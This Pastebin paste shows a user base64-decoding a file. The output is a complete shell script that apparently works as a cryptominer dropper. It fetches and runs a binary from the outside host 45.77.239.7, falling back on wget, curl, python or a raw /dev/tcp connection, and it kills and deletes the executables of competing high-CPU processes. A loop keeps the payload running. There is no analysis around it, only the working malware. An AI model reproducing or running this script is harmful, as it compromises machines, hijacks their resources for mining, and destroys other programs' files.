Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Davids-MacBook-Pro:~ doranchak$ base64 -D shit
- #!/bin/sh
- sPid=$$
- mPid=''
- mName='lava'
- dlUrl='45.77.239.7'
- checkCmd() {
- command -v $1 >/dev/null 2>&1
- }
- downloader () {
- if checkCmd wget; then
- wget $1 -O $2
- elif checkCmd curl; then
- curl $1 -o $2
- elif checkCmd python; then
- if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
- python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
- else
- python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
- fi
- else
- cat < /dev/tcp/$dlUrl/5555 > $2
- fi
- chmod +x $2
- }
- killer() {
- for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
- if [ $tmpVar = $sPid ]; then
- continue
- fi
- if [ $tmpVar = $mPid ]; then
- continue
- fi
- if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
- if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then
- continue
- fi
- if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then
- continue
- fi
- if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then
- continue
- fi
- kill -9 $tmpVar
- rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
- fi
- done
- }
- runer() {
- if [ -z "$mPid" ]; then
- if [ ! -f $mName ]; then
- downloader http://$dlUrl/java $mName
- fi
- chmod +x ./$mName
- ./$mName
- fi
- mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
- }
- pkill python; pkill perl; pkill $mName
- downloader http://$dlUrl/java $mName
- runer
- killer
- while true; do
- sleep 10
- if ps -p $mPid > /dev/null; then
- killer
- else
- mPid=''
- runer
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement